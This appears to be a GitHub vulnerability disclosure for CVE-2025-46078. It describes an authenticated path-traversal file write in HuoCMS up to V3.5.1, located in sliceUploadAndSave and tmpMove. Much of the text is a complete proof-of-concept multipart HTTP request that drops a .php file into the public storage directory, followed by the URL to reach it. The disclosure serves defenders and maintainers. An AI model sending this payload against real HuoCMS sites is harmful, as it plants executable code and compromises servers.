yggcwhat/cve-2025-46078Vulnerability Description
yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
Upload.php
HuoCMS - <=V3.5.1
In the sliceUploadAndSave method of AttachmentController.php (located under app -> controller -> backend), the resource_type parameter is validated against a whitelist of allowed file extensions (e.g., txt, png, etc.). Subsequently, the method invokes tmpMove from Upload.php (under app -> service -> upload).
The tmpMove method first creates a file. However, the $filename parameter (controlled by the resource_temp_path input parameter, which is user-controllable) can be exploited to traverse directories (e.g., using ../) to create folders. The method then performs a move operation, placing the file into the created directory. The final filename is generated by appending an underscore and the $pos suffix, where $pos is controlled via the chunk_index parameter passed during the call (refer to the actual parameter passing for details).
This creates a vulnerability where an attacker could manipulate resource_temp_path and chunk_index to write files to arbitrary locations with controlled filenames.
Details:
app >controller >backend > AttachmentController.php：sliceUploadAndSave
app >service >upload > Upload.php：tmpMove
This vulnerability is a backend issue that requires logging into the backend with a token to invoke. Please set up and log in by yourself.
POC：
POST /attachment/sliceUploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Length: 990
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_chunk"; filename="blob"
Content-Type: application/octet-stream
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_total"
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_index"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_basename"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_path"
../../../public/storage/image/20250415/
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_type"
txt
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_name"
11.png
------geckoformboundary13d3934e0299a09e8748d146bfb9d483--
Access URL:
http://127.0.0.1/storage/image/20250415/%5f%5f.php
http://huocms.com https://github.com/yggcwhat/CVE-2025-46078/edit/main/README.md https://www.huocms.com/